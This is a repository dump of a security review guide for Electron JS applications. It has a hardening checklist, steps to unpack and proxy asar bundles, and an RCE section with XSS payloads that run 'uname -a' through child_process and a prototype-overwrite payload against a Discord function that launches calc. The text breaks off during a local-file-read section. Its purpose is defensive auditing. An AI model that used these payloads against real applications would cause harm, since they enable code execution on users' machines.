├── .gitignore ├── Electron JS └── README.md ├── LICENSE ├── Meteor JS └── README.md ├── README.md ├── Ruby on Rails └── README.md └── _template.md /.gitignore: -------------------------------------------------------------------------------- 1 | # Binaries for programs and plugins 2 | *.exe 3 | *.exe~ 4 | *.dll 5 | *.so 6 | *.dylib 7 | 8 | # Test binary, built with `go test -c` 9 | *.test 10 | 11 | # Output of the go coverage tool, specifically when used with LiteIDE 12 | *.out 13 | 14 | # Dependency directories (remove the comment below to include it) 15 | # vendor/ 16 | -------------------------------------------------------------------------------- /Electron JS/README.md: -------------------------------------------------------------------------------- 1 | **Authors: [Pavel Shabarkin](https://www.linkedin.com/in/pavelshabarkin/)** 2 | 3 | **Disclaimer: It is still under research, this guide can be extended.** 4 | 5 | # Security Review for Electron JS applications 6 | - [Security Checklist](#security-checklist) 7 | - [Review Methodology](#review-methodology) 8 | - [Getting Started](#getting-started) 9 | - [0-click client-side RCE due to disabled isolation](#0-click-client-side-rce-due-to-disabled-isolation) 10 | - [Reading Local Files through the `` tag](#reading-local-files-through-the-webview-tag) 11 | - [Phishing and credential harvesting (Loading Unsafe Remote Content)](#phishing-and-credential-harvesting-loading-unsafe-remote-content) 12 | - [1-click RCE or NTLM hash stealing through `shell.openExternal`](#1-click-rce-or-ntlm-hash-stealing-through-shellopenexternal) 13 | - [Links and References](#links-and-references) 14 | 15 | # Security Checklist 16 | 17 | - [ ] `loadURL` loads only `https://` links 18 | - [ ] `nodeIntegration` is disabled (`false`) 19 | - [ ] `contextIsolation` is enabled (`true`) 20 | - [ ] `sandbox` is enabled (`true`) 21 | - [ ] Permission request handlers are implemented (`.setPermissionRequestHandler`) 22 | - [ ] `webSecurity` is enabled (`true`) 23 | - [ ] Content Security Policy (CSP) is defined 24 | - [ ] `allowRunningInsecureContent` is not used or is set to (`false`) 25 | - [ ] `experimentalFeatures` is disabled or not used (`false`) 26 | - [ ] `enableBlinkFeatures` is not used 27 | - [ ] `` tag does not use `allowpopups` 28 | - [ ] Application overwrites events `new-window` and `will-navigate`, and other event listeners 29 | - [ ] Application limits content to only from trusted origins (review navigation) 30 | - [ ] Verify WebView options before creation (reduce the attack vector for reading internal files through the `` tag) 31 | - [ ] Application limits the URL protocol before calling the `shell.openExternal` function invoke (`http://`, `https://`) or informs the user and provides a consent page that opening the next page can be a malicious action 32 | 33 | # Review Methodology 34 | 35 | ## Getting Started 36 | 37 | Electron JS desktop applications are packed in the `asar` format, to retrieve the source code of the client side, we need to unpack it: 38 | 39 | **install asar** 40 | 41 | ```bash 42 | npm install -g asar 43 | ``` 44 | 45 | **extract the source code** 46 | 47 | ```bash 48 | asar extract app.asar 49 | ``` 50 | 51 | **repack the source code** 52 | 53 | ```bash 54 | asar pack app.asar 55 | ``` 56 | 57 | **proxy an electron application** 58 | 59 | Look for `require("electron")` importing to find the global variable, add the next 2 lines below into the code and repack the source code: 60 | 61 | ```jsx 62 | const electron = require("electron"); 63 | const app = electron.app; 64 | app.commandLine.appendSwitch('proxy-server', '127.0.0.1:8080'); 65 | ``` 66 | 67 | ## 0-click client-side RCE due to disabled isolation 68 | 69 | **For more details see the original research:** [**0-click RCE in Electron Applications**](https://shabarkin.medium.com/0-click-rce-in-electron-applications-1c4f81a2cd6b) 70 | 71 | Look for `contextIsolation` and `nodeIntegration` options in any renderers ([BrowserWindow](https://www.electronjs.org/docs/latest/api/browser-window), [BrowserView](https://www.electronjs.org/docs/latest/api/browser-view), or [< webview >](https://www.electronjs.org/docs/latest/api/webview-tag)) that loads remote content. 72 | 73 | Prerequisites to straightforward RCE: 74 | 75 | `nodeIntegration` should be set to `true` (*Since in Electron version 5.0.0. the undefined* `nodeIntegration` *is set to `false` by default*) 76 | 77 | `contextIsolation` should be set to `false` (*Since in Electron version 12.0.0, the undefined `contextIsolation` is set to `true` by default*) 78 | 79 | ```bash 80 | grep -HanrE "contextIsolation|nodeIntegration" 81 | ``` 82 | 83 | 1. If the `nodeIntegration` is set to `true`, an attacker would need to find XSS in the main web application and use the following JS Code to achieve client-side remote code execution: 84 | 85 | ```jsx 86 | require("child_process").exec("uname -a",function(error,stdout,stderr){console.log(stdout);}); 87 | ``` 88 | 89 | 2. If the `contextIsolation` is set to `false`, an attacker would need to find XSS in the main web application and attack the built-in JavaScript functions or `preload:` scripts. 90 | 91 | **#preload_scripts:** 92 | 93 | Identify functions in the preload scripts, which may satisfy the attack vector through XSS and use them in the JavaScript code of the malicious payload. 94 | 95 | ```jsx 96 | #preload.js: 97 | ElectronRequire = require; 98 | delete require; 99 | 100 | #xss_payload: 101 | ElectronRequire("child_process").exec("uname -a",function(error,stdout,stderr){console.log(stdout);}); 102 | ``` 103 | 104 | **#prototype_overwrite:** 105 | 106 | Review the code of the main renderer and identify where the built-in JavaScript function is used (`Array.prototype.join` or `String.prototype.indexOf` any other), 107 | 108 | ```jsx 109 | RegExp.prototype.test=function(){ 110 | return false; 111 | } 112 | Array.prototype.join=function(){ 113 | return "calc"; 114 | } 115 | DiscordNative.nativeModules.requireModule('discord_utils').getGPUDriverVersions(); 116 | ``` 117 | 118 | Example of the `getGPUDriverVersions` function: 119 | 120 | ```jsx 121 | module.exports.getGPUDriverVersions = async () => { 122 | if (process.platform !== 'win32') { 123 | return {}; 124 | } 125 | 126 | const result = {}; 127 | const nvidiaSmiPath = `${process.env['ProgramW6432']}/NVIDIA Corporation/NVSMI/nvidia-smi.exe`; 128 | 129 | try { 130 | result.nvidia = parseNvidiaSmiOutput(await execa(nvidiaSmiPath, [])); 131 | } catch (e) { 132 | result.nvidia = {error: e.toString()}; 133 | } 134 | 135 | return result; 136 | }; 137 | ``` 138 | 139 | ## Reading Local Files through the `` tag 140 | 141 | **For more details see the original research:** [****Facebook Messenger Desktop App Arbitrary File Read****](https://medium.com/@renwa/facebook-messenger-desktop-app-arbitrary-file-read-db2374550f6d) 142 | 143 | If `contextIsolation` is set to `false`, you can try to use `` (similar to `